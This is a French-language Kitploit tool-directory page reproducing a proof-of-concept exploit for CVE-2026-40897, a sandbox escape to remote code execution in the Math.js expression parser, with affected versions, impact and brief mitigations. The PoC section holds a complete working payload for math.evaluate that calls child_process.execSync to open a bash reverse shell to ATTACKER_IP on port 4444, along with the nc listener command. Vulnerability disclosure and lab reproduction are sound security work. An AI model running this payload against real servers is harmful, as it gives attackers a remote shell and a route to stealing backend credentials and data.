Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-40897 — Math.js Expression Parser RCE | Kitploit
Outils/GitHubGitHub/eqstlab/cve-2026-40897
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubeqstlab/cve-2026-40897

CVE-2026-40897

Math.js Expression Parser RCE

Voir le dépôt
2il y a 21 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-40897 Exécution de code à distance dans l'analyseur d'expressions Math.js

★ CVE-2026-40897 Exécution de code à distance dans Math.js PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


Présentation

CVE-2026-40897 est une vulnérabilité de contournement de sandbox menant à une exécution de code à distance dans l'analyseur d'expressions de Math.js. Le filtre isSafeProperty ne vérifie l'accès aux propriétés que depuis les expressions utilisateur, et non depuis les chemins de code internes. En divulguant le tableau interne de ArrayNode via toJSON() et en écrasant son .map, un attaquant peut forcer le code interne à accéder à Function.constructor et exécuter du JavaScript arbitraire.


Versions concernées

Télécharger l’outil
CatégorieVersion
VulnérableMath.js 13.1.1 ≤ version ≤ 15.1.1
Corrigée15.2.0

Impact

  • Exécution de code JavaScript arbitraire (RCE)
  • Accès au système de fichiers de l'hôte
  • Connexion de shell inversé menant à un compromis complet du serveur
  • Exfiltration des identifiants backend et des données sensibles

Environnement

root@kitploit:~
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

Après avoir démarré l'environnement vulnérable, suivez les étapes ci-dessous pour reproduire l'attaque.

Étape 1. Démarrer un écouteur de shell inversé

root@kitploit:~
nc -lvnp 4444

Étape 2. Soumettre la charge utile malveillante

Envoyez l'expression suivante à math.evaluate (par exemple, via l'entrée de calcul de l'application).

root@kitploit:~
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Étape 3. Confirmer l'accès au shell côté attaquant

Le serveur cible se reconnecte à l'écouteur de l'attaquant, accordant un shell bash interactif.


Atténuation

  • Mettre à niveau Math.js vers une version corrigée
  • Éviter de transmettre directement des entrées utilisateur non fiables à math.evaluate()
  • Restreindre l'exposition des fonctions/classes internes (reviver, FunctionAssignmentNode, ArrayNode) via l'analyseur d'expressions

Analyse

  • KR : https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN : https://www.skshieldus.com/en/report?tab=eqst